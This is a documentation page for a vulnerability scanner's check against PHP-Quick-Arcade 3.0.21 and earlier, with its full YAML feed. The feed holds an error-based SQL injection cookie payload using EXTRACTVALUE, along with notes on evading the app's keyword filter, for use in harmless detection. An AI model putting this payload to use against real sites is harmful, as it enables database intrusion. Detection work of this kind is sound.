PHP-Quick-Arcade — 1 vulnerability check

noctis ships 1 vulnerability check for PHP-Quick-Arcade, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP-Quick-Arcade <= 3.0.21 phpqa_user_c cookie SQL injection and serv XSS

CVECVE-2010-1661, CVE-2010-1662
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/php-quick-arcade/php-quick-arcade-sqli-xss.yaml

PHP-Quick-Arcade (PHPQA) 3.0.21 and earlier put the phpqa_user_c login cookie unescaped into the SQL queries every page runs (CVE-2010-1661), letting an unauthenticated visitor read or alter the arcade database, and reflect the serv parameter of the moderator IP scanner unescaped (CVE-2010-1662).

This check requests index.php and Arcade.php under the web root and the usual arcade install paths with a phpqa_user_c cookie that closes the quoted user name and subtracts a MySQL EXTRACTVALUE call over the product of two random numbers. The injection is confirmed when the page shows the database error carrying that product, which never appears in the request. The failing expression makes every query built from the cookie fail, so nothing is read from the tables and nothing is written. When no proof comes back, an index.php page (requested without the cookie) whose footer names PHP-Quick-Arcade 3.0.21 or earlier is reported as a version-based finding.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/Arcade.php
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php
  7. Parses / computes the next value with a Rhai script
  8. Checks hit_dir for ^/ → finding QoD 97: PHP-Quick-Arcade phpqa_user_c cookie SQL injection (CVE-2010-1661)
  9. Checks ver.dir for ^/ → finding QoD 70: PHP-Quick-Arcade <= 3.0.21 SQL injection and XSS (version check)

References:

Feed source — tests/vulnerabilities/php-quick-arcade/php-quick-arcade-sqli-xss.yaml
# PHP-Quick-Arcade (PHPQA) <= 3.0.21 — phpqa_user_c cookie SQL injection (CVE-2010-1661)
# and acpmoderate.php serv cross-site scripting (CVE-2010-1662)
#
# PHP-Quick-Arcade 3.0.21 copies the phpqa_user_c login cookie as-is into the queries
# every page runs for a logged-in visitor — first `SELECT * FROM phpqa_accounts WHERE
# name='<cookie>'` (Preliminary code required by Arcade.php, which index.php requires).
# 3.0.22/3.0.23 pass the cookie through htmlspecialchars(…, ENT_QUOTES) first. The
# arcade's run_query() wrapper echoes any MySQL error in the page as
#     <script>alert('Database Error: <htmlspecialchars(mysql_error())>'); …
# after stripping "--", "UNION", "concat" and "pass" from the query (3.0.23 source,
# kept in the PLArcade fork, github.com/masodo/PLArcade). No 3.0.21 archive is
# reachable any more (quickarcade.jcink.com is gone), so the vulnerable copy is the
# 3.0.23 code with the cookie not escaped, which is what the advisory (EDB-12416)
# describes: "Arcade.php — send your query with cookie phpqa_user_c".
#
# Detection, per candidate install dir:
#   1. QoD 97 — GET index.php, then Arcade.php, with
#        Cookie: phpqa_user_c=noctis<r>'-EXTRACTVALUE(1,LPAD(<a>*<b>,20,0x7e))-'
#      (quotes percent-encoded; PHP decodes cookie values). The cookie lands as
#      name='noctis<r>'-EXTRACTVALUE(…)-'' : an arithmetic operand, so MySQL always
#      evaluates it (no AND/OR short-circuit, constant-folded even on an empty table)
#      and the accounts SELECT fails; the page then dies on "username/password
#      mismatch" before any INSERT/UPDATE built from the cookie — and those would fail
#      the same way. Nothing is written. The page carries "XPATH syntax error:
#      '~~~~~~~~<a*b>'" (quotes HTML-escaped). The product never appears in the request.
#      The payload avoids the words run_query() strips (no CONCAT, no comment).
#   2. QoD 70 — no proof, but index.php fetched WITHOUT the cookie (any cookie that
#      matches no account makes the page die before the footer) names
#      PHP-Quick-Arcade <= 3.0.21 in its footer (a site running with magic_quotes_gpc
#      on escapes the cookie quote, yet still ships the unfixed acpmoderate.php serv
#      XSS, CVE-2010-1662).
# The serv XSS needs register_globals and a moderator panel reached through the arcade;
# reaching acpmoderate.php directly dies before the IP scanner in the known code, so no
# unauthenticated proof is attempted for it — it is reported by the version branch.
#
# Better than the source NASL (version-only check): the cookie SQL injection is proven
# by a value only the database can compute, so a 3.0.21 site with magic_quotes_gpc or
# a back-ported fix is told apart from an exploitable one, and a site whose footer was
# edited out is still found. Version regex is anchored on the product link.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_php_quick_arcade_sql_injection_n_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801364, GPL-2.0-only) and gb_php_quick_arcade_detect.nasl.
uid: d5208924-e58f-41bd-9ab4-ac912cf757ae
name: "PHP-Quick-Arcade <= 3.0.21 phpqa_user_c cookie SQL injection and serv XSS"
description: |
  PHP-Quick-Arcade (PHPQA) 3.0.21 and earlier put the phpqa_user_c login cookie
  unescaped into the SQL queries every page runs (CVE-2010-1661), letting an
  unauthenticated visitor read or alter the arcade database, and reflect the serv
  parameter of the moderator IP scanner unescaped (CVE-2010-1662).

  This check requests index.php and Arcade.php under the web root and the usual arcade
  install paths with a phpqa_user_c cookie that closes the quoted user name and
  subtracts a MySQL EXTRACTVALUE call over the product of two random numbers. The
  injection is confirmed when the page shows the database error carrying that product,
  which never appears in the request. The failing expression makes every query built
  from the cookie fail, so nothing is read from the tables and nothing is written.
  When no proof comes back, an index.php page (requested without the cookie) whose
  footer names PHP-Quick-Arcade 3.0.21 or earlier is reported as a version-based
  finding.
cves: [CVE-2010-1661, CVE-2010-1662]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [php-quick-arcade, phpqa, sqli, error-based, cookie, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1661"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1662"
  - "https://www.exploit-db.com/exploits/12416"
  - "http://packetstormsecurity.org/1004-exploits/phpquickarcade-sqlxss.txt"
  - "https://github.com/masodo/PLArcade"

steps:
  # ── Random operands, expected value and the cookie payload ────────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let user = "noctis" + rand_int(1000, 9999);
      #{ want: "~" + (a * b),
         expr: a + "*" + b,
         cookie: user + "%27-EXTRACTVALUE(1,LPAD(" + a + "*" + b + ",20,0x7e))-%27" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-hit-page
    action: set_var
    var_name: hit_page
    var_value: ""

  - id: init-ver
    action: set_var
    var_name: ver
    var_value: {dir: "", version: ""}

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-idx
    action: set_var
    var_name: idx
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/phpqa", "/arcade", "/PHP-Quick-Arcade", "/phpqa/phpqa", "/games"]

  - id: init-arc
    action: set_var
    var_name: arc
    var_value: {status: 0, body: ""}

  - id: init-land
    action: set_var
    var_name: land
    var_value: {status: 0, body: ""}

  - id: probe-index
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    headers:
      Cookie: "phpqa_user_c={{sc.cookie}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: idx

  - id: check-index
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(idx.body) == "string" { idx.body } else { "" };
      if body.contains("XPATH syntax error") && body.contains(sc.want) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit_dir

  - id: page-index
    action: set_var
    condition: 'hit_dir != "" && hit_page == ""'
    var_name: hit_page
    var_value: "index.php"

  - id: probe-arcade
    action: http_request
    method: GET
    path: "{{dir}}/Arcade.php"
    port: "{{port}}"
    headers:
      Cookie: "phpqa_user_c={{sc.cookie}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: arc

  - id: check-arcade
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(arc.body) == "string" { arc.body } else { "" };
      if body.contains("XPATH syntax error") && body.contains(sc.want) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit_dir

  - id: page-arcade
    action: set_var
    condition: 'hit_dir != "" && hit_page == ""'
    var_name: hit_page
    var_value: "Arcade.php"

  # Footer version (first install found wins): "<a …>PHP-Quick-Arcade</a> 3.0.21".
  # Fetched without the cookie: with one that matches no account the page dies early.
  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && ver.dir == "" && (idx.status == 200 || arc.status == 200)'
    store_as: land

  - id: version
    action: script
    condition: 'hit_dir == "" && ver.dir == ""'
    code: |
      let found = #{dir: "", version: ""};
      for r in [land] {
        if r.status < 200 || r.status >= 500 || type_of(r.body) != "string" { continue; }
        let m = eregmatch("(?i)>\\s*PHP-Quick-Arcade\\s*</a>\\s*v?([0-9]+(?:\\.[0-9]+)+)", r.body);
        if type_of(m) != "array" || m.len() < 2 { continue; }
        let p = m[1].split(".");
        let maj = parse_int(p[0]);
        let min = if p.len() > 1 { parse_int(p[1]) } else { 0 };
        let pat = if p.len() > 2 { parse_int(p[2]) } else { 0 };
        if maj < 3 || (maj == 3 && min == 0 && pat <= 21) {
          found.dir = if dir == "" { "/" } else { dir };
          found.version = m[1];
          break;
        }
      }
      found
    store_as: ver

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-sqli
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        cves: [CVE-2010-1661]
        title: "PHP-Quick-Arcade phpqa_user_c cookie SQL injection (CVE-2010-1661)"
        description: "An unauthenticated request carrying a phpqa_user_c cookie that closes the quoted user name and subtracts a MySQL EXTRACTVALUE call over the product of two random numbers returned a database error with that product: the cookie reaches the arcade's SQL queries unescaped, so an attacker can read or alter the whole arcade database (accounts and password hashes included)."
        remediation: "Upgrade PHP-Quick-Arcade to 3.0.23 or later (the project is no longer maintained: consider replacing it), and turn display of database errors off."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}, {{hit_page}}: Cookie phpqa_user_c=…'-EXTRACTVALUE(1,LPAD({{sc.expr}},20,0x7e))-' returned the database-computed value in the MySQL error: XPATH syntax error: '…{{sc.want}}'"
      stop: true

  # The version finding is reported once, after every dir was tried for the proof:
  # a second loop group of one pass.
  - id: after-dirs
    action: set_var
    var_name: done_dirs
    var_value: true
    loop:
      var: once
      over: ["once"]

  - id: report-version
    action: match
    source: ver.dir
    pattern: "^/"
    condition: 'hit_dir == ""'
    on_match:
      finding:
        title: "PHP-Quick-Arcade <= 3.0.21 SQL injection and XSS (version check)"
        description: "The arcade footer names PHP-Quick-Arcade 3.0.21 or earlier, which puts the phpqa_user_c cookie unescaped into SQL queries (CVE-2010-1661) and reflects the serv parameter of the moderator IP scanner unescaped (CVE-2010-1662). The SQL injection proof did not come back (for instance magic_quotes_gpc escapes the cookie), so the finding rests on the version alone."
        remediation: "Upgrade PHP-Quick-Arcade to 3.0.23 or later (the project is no longer maintained: consider replacing it)."
        confidence_delta: 0.40
        qod: 70
        evidence: "install dir {{ver.dir}}: footer names PHP-Quick-Arcade {{ver.version}}"

View these feeds on GitHub